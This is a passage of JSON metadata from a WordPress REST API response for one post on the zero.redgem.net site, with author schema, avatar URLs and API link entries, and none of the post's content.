redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30052","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30052"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30052\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30052"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30052"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}